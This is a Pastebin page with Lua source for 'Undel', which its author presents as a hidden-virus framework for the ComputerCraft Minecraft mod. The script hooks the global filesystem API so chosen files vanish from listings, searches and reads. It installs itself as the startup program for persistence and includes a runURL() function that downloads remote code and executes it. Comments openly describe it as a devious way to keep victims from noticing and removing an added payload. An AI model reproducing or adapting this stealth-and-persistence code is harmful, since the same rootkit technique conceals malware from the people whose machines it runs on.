Advertisement
LDDestroier

Undel - hidden virus (ComputerCraft)

Jul 27th, 2015
613
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 6.72 KB | None | 0 0
  1. -- pastebin get 6ZmEhuJp startup
  2. -- std pb 6ZmEhuJp startup
  3. --[[
  4. Let me explain Undel (yes, that's what I called it):
  5. Undel is not exactly a virus, as it doesn't carry a payload, but it certainly does help when you add one!
  6. Undel hides a table of filenames from all detection and execution. Even works with folders!
  7. The idea is that if a computer has a virus, and that virus does something, then the person will remove the virus with a disk...
  8. ...but if the person does not know there is a virus, he will make no effort to remove it! It's so devious!
  9. It doesn't have a payload, so add some code to the end or have it run another hidden file using runActualProgram()
  10. or runURL().
  11.  
  12. Syntax:
  13. "undel" Will hide anything in protectedList.
  14. "undel <file1> <file2> <file3> ..." Adds all arguments to protectedList, to be hidden.
  15. "undel install" Moves startup, names itself startup, and adds a unicode character to itself to prevent reading.
  16. --]]
  17.  
  18. local tArg = {...}
  19.  
  20. local function runURL(url, ...)
  21.     local program = http.get(url)
  22.     if not program then return false end
  23.     program = program.readAll()
  24.     local func = loadstring(program)
  25.     setfenv(func, getfenv())
  26.     return func(...)
  27. end
  28.  
  29. local function runCode(...) --Run custom code here before startup!
  30.     return
  31. end
  32.  
  33. local programName = shell.getRunningProgram()
  34. local protectedList = {
  35.     fs.combine("",shell.getRunningProgram()),
  36. }
  37. if (#tArg > 1) or (tArg[1] ~= "--install") then --Add extra files
  38.     for a = 1, #tArg do
  39.         if tArg[a] == "*" then
  40.             protectedList = fs.list(shell.dir())
  41.             break
  42.         else
  43.             table.insert(protectedList,fs.combine("",tArg[a]))
  44.         end
  45.     end
  46. end
  47.  
  48. local function rollOver(input, max) --More useful than it seems.
  49.     return math.floor(input % max)
  50. end
  51.  
  52. local function randomString(input)
  53.     local output
  54.     if fs.isDir(input) then
  55.         output = ".."
  56.     else
  57.         output = "."
  58.     end
  59.     local alphabet = "abcdefghijklmnopqrstuvwxyz1234567890<>[]()!@#$%^&"
  60.     for a = 1, #input do
  61.         local rand = rollOver(string.byte(string.sub(input,a,a)),#alphabet)
  62.         output = output..string.sub(alphabet, rand, rand)
  63.     end
  64.     return output
  65. end
  66.  
  67. local protectedListAlternatives = {}
  68. local protectedListFiletypes = {}
  69. for a = 1, #protectedList do
  70.     table.insert(protectedListAlternatives, randomString(protectedList[a]))
  71.     table.insert(protectedListFiletypes, fs.isDir(protectedList[a]))
  72. end
  73.  
  74. local function isInTable(tbl, str)
  75.     for a = 1, #tbl do
  76.         if tbl[a]==str then
  77.             return a
  78.         end
  79.     end
  80.     return false
  81. end
  82.  
  83. local _undelIsRunning
  84.  
  85. if tArg[1] == "--install" then _undelIsRunning = true end
  86.  
  87. if not _undelIsRunning then
  88.     -- REDEFINE START
  89.     local oldfs = fs
  90.     fs = {
  91.         open = function(path, mode)
  92.             local num = isInTable(protectedList,fs.combine("",path))
  93.             if not num then
  94.                 return oldfs.open(path, mode)
  95.             else
  96.                 return oldfs.open(protectedListAlternatives[num], mode)
  97.             end
  98.         end,
  99.         isReadOnly = function(path)
  100.             local num = isInTable(protectedList,fs.combine("",path))
  101.             if not num then
  102.                 return oldisreadonly(path)
  103.             else
  104.                 return oldisreadonly(protectedListAlternatives[num])
  105.             end
  106.         end,
  107.         delete = function(path)
  108.             local num1 = isInTable(protectedList,fs.combine("",path))
  109.             if num1 then
  110.                 if protectedListFiletypes[num1] == oldfs.isDir(protectedList[num1]) then
  111.                     return oldfs.delete(fs.combine("",protectedListAlternatives[num1]))
  112.                 else
  113.                     return oldfs.delete(path)
  114.                 end
  115.             else
  116.                 return oldfs.delete(path)
  117.             end
  118.         end,
  119.         move = function(path, dest)
  120.             local num = isInTable(protectedList,fs.combine("",path))
  121.             if not num then
  122.                 return oldfs.move(path, dest)
  123.             else
  124.                 if protectedListFiletypes[num] == oldfs.isDir(protectedList[num]) then
  125.                     return oldfs.move(path, dest)
  126.                 else
  127.                     return oldfs.move(protectedListAlternatives[num])
  128.                 end
  129.             end
  130.         end,
  131.         list = function(directory)
  132.             local output, dir = {}
  133.             local num1 = isInTable(protectedList,directory)
  134.             if num1 then
  135.                 dir = protectedListAlternatives[num1]
  136.             else
  137.                 dir = directory
  138.             end
  139.             for a = 1, #oldfs.list(dir) do
  140.                 local file = oldfs.list(dir)[a]
  141.                 local num1 = isInTable(protectedList,file)
  142.                 local num2 = isInTable(protectedListAlternatives,file)
  143.                 if num2 then
  144.                     table.insert(output, protectedList[num2])
  145.                 else
  146.                     if not num1 then
  147.                         table.insert(output, file)
  148.                     end
  149.                 end
  150.             end
  151.             return output
  152.         end,
  153.         exists = function(file)
  154.             local num = isInTable(protectedList,fs.combine("",file))
  155.             if not num then
  156.                 return oldfs.exists(file)
  157.             else
  158.                 return oldfs.exists(protectedListAlternatives[num])
  159.             end
  160.         end,
  161.         find = function(file)
  162.             local output = {}
  163.             for a = 1, #oldfs.find(file) do
  164.                 local file = oldfs.find(file)[a]
  165.                 local num1 = isInTable(protectedList,fs.combine("",file))
  166.                 local num2 = isInTable(protectedListAlternatives,fs.combine("",file))
  167.                 if num2 then
  168.                     table.insert(output, protectedList[num2])
  169.                 else
  170.                     if not num1 then
  171.                         table.insert(output, file)
  172.                     end
  173.                 end
  174.             end
  175.             return output
  176.         end,
  177.         isDir = function(directory)
  178.             local num = isInTable(protectedList,fs.combine("",directory))
  179.             if not num then
  180.                 return oldfs.isDir(directory)
  181.             else
  182.                 return oldfs.isDir(protectedListAlternatives[num])
  183.             end
  184.         end,
  185.         makeDir = function(directory)
  186.             local num = isInTable(protectedList,fs.combine("",directory))
  187.             if not num then
  188.                 return oldfs.makeDir(directory)
  189.             else
  190.                 return oldfs.makeDir(protectedListAlternatives[num])
  191.             end
  192.         end,
  193.     }
  194.     for k,v in pairs(oldfs) do
  195.         if not fs[k] then
  196.             fs[k] = v
  197.         end
  198.     end
  199.     _G.fs = fs
  200.  
  201.     -- REDEFINE END --
  202.  
  203.     local _undelIsRunning = true
  204.    
  205.     local function runActualFile(fileName, ...) --Run the actual file
  206.         local file = oldfs.open(fileName,"r")
  207.         local contents = file.readAll()
  208.         file.close()
  209.         local func = loadstring(contents)
  210.         setfenv(func, getfenv())
  211.         func(table.unpack({...},2))
  212.     end
  213.    
  214.     runCode(...) --Runs custom code.
  215.     if fs.exists(fs.combine("",randomString("startup"))) == true then
  216.         shell.run(fs.combine("",randomString("startup")))
  217.     end
  218. end
  219.  
  220. if tArg[1] == "--install" then
  221.     write([[You sure? You can add extra files to hide before install ONLY.
  222. [Y,N]?]])
  223.     repeat
  224.         local event, key = os.pullEvent("char")
  225.         if key == "y" then
  226.             print("Y")
  227.         elseif key == "n" then
  228.             print("N")
  229.             error("Aborted.")
  230.         end
  231.     until key == "y"
  232.     if fs.exists(fs.combine("",randomString("startup"))) == true then
  233.         fs.delete(fs.combine("",randomString("startup")))
  234.     end
  235.     write("Working...")
  236.     if fs.exists("startup") == true  then
  237.         fs.move("startup", fs.combine("",randomString("startup")))
  238.     end
  239.     local file = fs.open(programName,"r")
  240.     local contents = file.readAll()
  241.     file.close()
  242.     fs.move(programName, "startup")
  243.     print("complete!")
  244.     print("Reboot to take effect.")
  245. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement